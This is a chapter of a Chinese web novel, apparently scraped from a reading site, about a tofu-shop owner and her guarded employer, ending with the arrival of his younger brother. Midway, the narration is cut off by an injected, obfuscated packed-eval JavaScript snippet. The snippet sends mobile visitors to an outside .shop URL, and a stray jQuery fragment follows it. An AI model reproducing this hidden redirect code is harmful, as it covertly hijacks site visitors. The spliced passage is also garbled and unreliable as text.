文趣网 > 其他小说 > 我在古代卖霉豆腐 > 23. 试探
    厨屋里只剩他们俩了。

    罗烨烨听见门闩落下的轻响,忽然觉得这屋子变得有点小。真是小铺子呀,小到她能听见灶膛里炭火噼啪的声响,能细细地瞧对面那人衣袖上的纹路。

    其实她心里憋着好多话,要问他呢。

    譬如她如何来此,来前嘱咐的事办妥没?还有……

    罗烨烨清了清嗓子,作状道:“哎呀,那你会不会呀?需不需要我教呀,啧啧,看着不太中。”

    “罗掌柜。”

    萧握瑾点头,仿佛甘拜下风似的,不紧不慢。捏起一块豆腐,接着切。

    “还是少吃些辣吧。”

    哎呀这人!

    罗烨烨立马火冲发梢,这人嫌她说话冲呢!

    她方要说道说道,萧握瑾开口了:“医师怎么说?”

    哦,医师。

    罗烨烨熄火,若无其事摊手:“没啥呀,就是中暑。有点气虚吧,这个药每日早晚各一碗,喝三天保管痊愈。”

    萧握瑾没答话。

    他从袖子里摸出一个小纸包,放在案板上,又摸出一个小瓷瓶,也搁在旁边。

    罗烨烨低头看。

    纸包里是几块蜜饯,杏干和蜜枣,琥珀色的,沾着白糖霜。瓷瓶里是药汁,深褐色的,瓶口用蜡封着。

    她默默拿起瓷瓶,揭了蜡封。药汁倒进碗里,咕噜咕噜的,像溪水流过石头。倒完,她端起来,哎呀,熏。皱着鼻子,含住碗往下咽。

    真苦。

    苦得她眯起眼睛,喉咙缩了一下。

    她赶紧拿起一颗蜜枣塞进嘴里,甜味在舌尖化开,把苦压了下去。蜜枣很甜,甜得她有点想笑,弯起眼角,含混不清地说了一句:“我知道你关心我呀,萧老板。”

    “谢谢你呀。”

    周围落静,灶膛火响。

    罗烨烨嚼着蜜枣,不敢抬头,目光就跟着他手上操刀行举。手往哪,她盯哪。

    “我切得不好?”

    萧握瑾倒挑眉,将刀面与他的手指一摊开,给她看那豆腐。哎呦,其实还不错的,齐整一块块,是那回事。

    但是罗烨烨直摇头:“不太中,叫我教你……”

    她心中有些痒,抬起眼,看萧握瑾。

    萧握瑾站在案板前,已经把外袍脱了,手上操刀切配呢。这次不是云纹,不是缂丝,而是棉麻的布料,落在眼里,愈发真真切切。

    “愣着做什么。”他没抬头,手起刀落,轻轻的,切软豆腐就是没什么声,像只是在舞。

    他终于掀眼瞧她了,眸目带笑。

    “不是说教我?”

    罗烨烨回过神,赶紧凑过去。

    案板上摆着几样香料,是她让阿福新买的。桂皮卷成筒状,硬邦邦的,表面粗糙,颜色是浅棕带红,闻着有股甜丝丝的香。

    她拿起一段,在手里掂了掂。

    她心里,其实有好些事,想问呢。

    可就她方一跑神,旁人之目光便在她身上落。她回过思绪,把它给萧握瑾:“喏,桂皮。主要是起腌的作用,入味,增香。”

    萧握瑾接过,掰得很仔细,一段一段码进碗里,摆棋子似的。

    “诶,你掰那么整齐干什么?反正要泡进去的。”

    罗烨烨见他这般慢条斯理,便不禁指指点点,“这个先不弄到粉里头,咱改良了。块状的愈陈愈香,跟霉豆腐一同发酵。”

    萧握瑾不言语,就做。

    “好看。”

    他回一句。

    罗烨烨噎了一下,决定不接这个话茬。她又拿起几片香叶,举到他面前。

    “香叶,用月桂叶。给你说过,一片足矣。”

    她说着,把手里的香叶揉碎了。碎屑从指缝漏下来,细细的,带着一股香。

    清冽冽碎香入酿,年陈陈生涩吐苦。

    她把碎屑拨进一只小布袋里,扎好口:“这个得用布网网装着,浸到汤液里,生香之后再捞出。”

    萧握瑾看着那只小布袋,忽然笑了一声。

    “你笑什么?”罗烨烨抬头。

    “布网网。”他慢悠悠地重复了一遍,语气里带着点说不清道不明的意味,“你起名字倒是有一套。猫豆腐,布网网。”

    “那咋了?形象嘛!你管我叫什么,好用都成。”

    罗烨烨抱起胳膊肘,就看这人又不说话了,一副笑而不语模样。罗烨烨心痒痒,就要给他找点事干。

    “诶,我还没问你。我让你走前给刘顺带的话,你带到了吗?”

    萧握瑾点头,拾一卷陈皮,又开始掰。

    “那,”罗烨烨心里飘忽忽地悬起来,有些摸不准,“给老夫人的信,送到了吗?”

    “送到了。”他道。

    “她怎么说?”

    “没说。”

    罗烨烨看了他一眼。他没看她,正把掰好的桂皮一块块摆进碗里,动作不紧不慢。

    罗烨烨啧了一声。

    “那可怎么办呀,”她作为难状,“什么活儿都叫你抢着干了,回头老夫人只当我是个吃闲饭的,把我打发了可怎么好?”

    “萧掌柜,你莫不是想自个儿把大小事全攥在手里,好叫我大权旁落呀?”

    她听见对面那人轻轻吸了一口气,道:“大权旁落这种话,你也说得出口。”

    这话有意无意,便落在搁旁边的罗烨烨身上。她正靠到桌案,悠哉悠哉吃着蜜枣,喝茶水。叫她差点这口水就洒了。

    “萧氏家大业大,”萧握瑾慢悠悠地,将案上的豆腐块一个个拾了,放竹篾上,“你若是有一日大权旁落,去别处也饿不死。”

    罗烨烨听出了他话里的试探。

    她歪头看他:“那你们萧家,会留我吗?”

    “看你表现。”他伸手拾馏布。

    罗烨烨递给他:“那我要是表现特别好呢?”

    萧握瑾没接话。他接过白馏布,盖到竹篾上。插回刀,就要再拿东西压住馏布杀水,被她一掌,给按住了。

    萧握瑾抬起眼看她。

    罗烨烨的心跳忽然快了一拍。

    她笑了两声,收回手摆摆,随意道:“逗你玩的。我就想要这个酒楼,要不你帮我跟老夫人说说,把这个酒楼的总负责给我做吧?你看我这个员工,功不可没,你就负责拿钱就行了。”

    依然未言语。

    那人真是做豆腐入神了似的,把豆腐压上,压一板之后再切下一板,切完之后再放竹篾,再压。

    旁若无人。

    罗烨烨静静地等,又捎过来一个小凳子,坐在那,边吃蜜饯边喝茶。等她把蜜饯都快吧唧完了,对面才有话音:

    “少吃些。”

    萧握瑾没抬头,声音也是淡的,“牙疼的时候可别找我。”

    罗烨烨愣了一下,低头看了看手里的小油纸包,捏一捏。

    剩最后一颗了。她想了想,还是捏出来塞进了嘴里,含混道:“哦,那我明天再去买些。”

    她说完,等着。

    比方说,他再说点什么。

    她问的事,还有……

    什么都没有。

    切豆腐的声音太轻。安静得像整个铺子只剩她一个人。

    罗烨烨忽然觉得有点闷。她站起来,把凳子挪回原处,转身要去倒水。

    走了两步,又停下来。

    “王小姐呢,”她听到自己的问声,比预想的要小,“有消息了吗?”

    身后落刀声停了。

    “没有。”

    罗烨烨回头。

    “你不是托官府找了?”

    “托了。”

    “那怎么——”

    “未寻到人。”

    四个字,干脆利落,像一把刀切在案板上,把话斩断了。

    罗烨烨把到嘴边的话咽了回去。她站在灶台边,把指头间的小油纸包捏皱巴。

    没有消息。人像是凭空消失了。

    她想起那天在枫城,萧握瑾说的话。

    哦哦——

    不可能呀,我可是纨绔,风流成性,根本不会定亲,面都没见过呢。

    哼哼,哼。

    可老夫人提过,街坊也提过。王小姐是跟他有过婚约的人。

    一个活生生的人,说不见就不见了。

    她想起系统说的,心上人。

    想起那个还未曾露面的,等着她去救

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516216|203203||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的人。

    心里忽然涌上一股说不清的滋味。酸的,涩的,像含了一颗没熟的枣子,咽不下去,也吐不出来。

    她深吸一口气,转过身。

    萧握瑾还站在案板前,低着头,切豆腐。一刀,一刀,不紧不慢。

    他就是这样。

    从枫城到现在,一直都是这样。

    罗烨烨靠在灶台边,看着他,脑子里忽然闪过很多画面。

    第一次见面,他在她摊前捏霉豆腐,吊儿郎当的。她以为他是个纨绔公子哥,只会花钱,只会调戏人。

    后来在酒楼,他替她挡了老夫人的话,把酒楼交给她管。她以为他只是个有钱有闲的东家,出钱不出力。

    再后来,在枫城,他背她走夜路,给她戴桃花钗。她以为他嘴硬心软,是个傲娇。

    还有在望江楼后巷,他拿扇子打飞家丁,手腕上露出白茸茸的毛。她以为……她以为他是什么?

    她忽然发现,她根本不知道他是什么人。

    他救过她,帮过她,背过她,给她买蜜饯,问她医师怎么说。可他不说。什么都不说。问的事不说,王小姐的事不说,萧家的事不说。

    她捧着呀,像一块捂在手里的玉。看着温润,摸上去却凉。

    罗烨烨低下头,看自己手指上干了的蜜渍,捏了捏,黏黏的。

    真讨厌。

    她想。

    这个人真讨厌。

    什么都不说,什么都藏在心里。问她的话,她回答了,他却不接话。就算她喜悦的,也不接。

    她就那么等着,等了半天,等来一句。

    哦,少吃些。

    她又有点想笑,哎呀,真是的。什么时候这么等过呀?就算从前搁菜市场摆摊,谁来谁走,她也不咋等人。爱买买,不买就不买咯。

    行人亦如是而思耳。

    罗烨烨伸开手掌,手指头都有点酸了。

    不过她扭头,还是想叫他。

    “萧——”

    “东家!东家!”

    院门外忽然传来阿福的声音,脚步趋近她身后。罗烨烨的话被打断在嗓子里,转头看向门口。

    砰地一下门推开,他气喘吁吁,脸涨得通红:“东家,来人了!”

    “谁?”罗烨烨皱眉。

    “萧家的人!”阿福干咽了一下,喉咙冒烟啊,手指门外。

    “二公子来了,说是老夫人让来的!”

    二公子,萧家二公子?

    罗烨烨怔了怔,下意识看向萧握瑾。

    他居然没抬头。

    白衣在灶火的光里晃了一下,这么侧着望,他的表情看不太清,唇与眉眼,什么情绪都没有。

    “东家。”

    这一声,叫罗烨烨站起来了。把手里的油纸包搁案上,往外走。

    院子里传来脚步声。

    踏出去时,她才仿佛听到,有人的声息,也或许是衣料摩擦的窸窣响。

    不急不慢的,像落在石径的雨点,又像在敲弦呢,一下一下,引人过来。

    她看见一个人从院门走进来。

    这公子着天青直裰,腰间仍系一条青绦,配一条墨革带。未语先笑。

    “罗姑娘,又见面了。”

    罗烨烨一愣。

    见过吗?

    他在院中央站定,微微颔首。此人面庞白玉,脸型清瘦修长,一双细长柳目微含笑意,鼻梁挺秀,唇色浅淡,周身透着股不争不抢的书卷气。

    不料她心中这般所想,却是径直问出口来,听得对面便答:“在下萧惜文。南湖酒楼初见,罗姑娘那道霉豆腐惊艳四座,在下当时便想,姑娘定非凡俗。”

    罗烨烨皱了皱眉,不等萧惜文再开口,先问了一句:“老夫人让你来,什么事?”

    不会是要把她给辞退吧?

    听他声音温润:“母亲说,御膳的事,由我接替。”

    还真是!

    罗烨立马不得劲了,这真是过河拆桥呀,在这等着她呢。她刚要叉起腰,准备开喷,结果萧惜文接上下文:“罗姑娘可以留下。”

    顿了顿,看了萧握瑾一眼。

    “兄长必须回府。”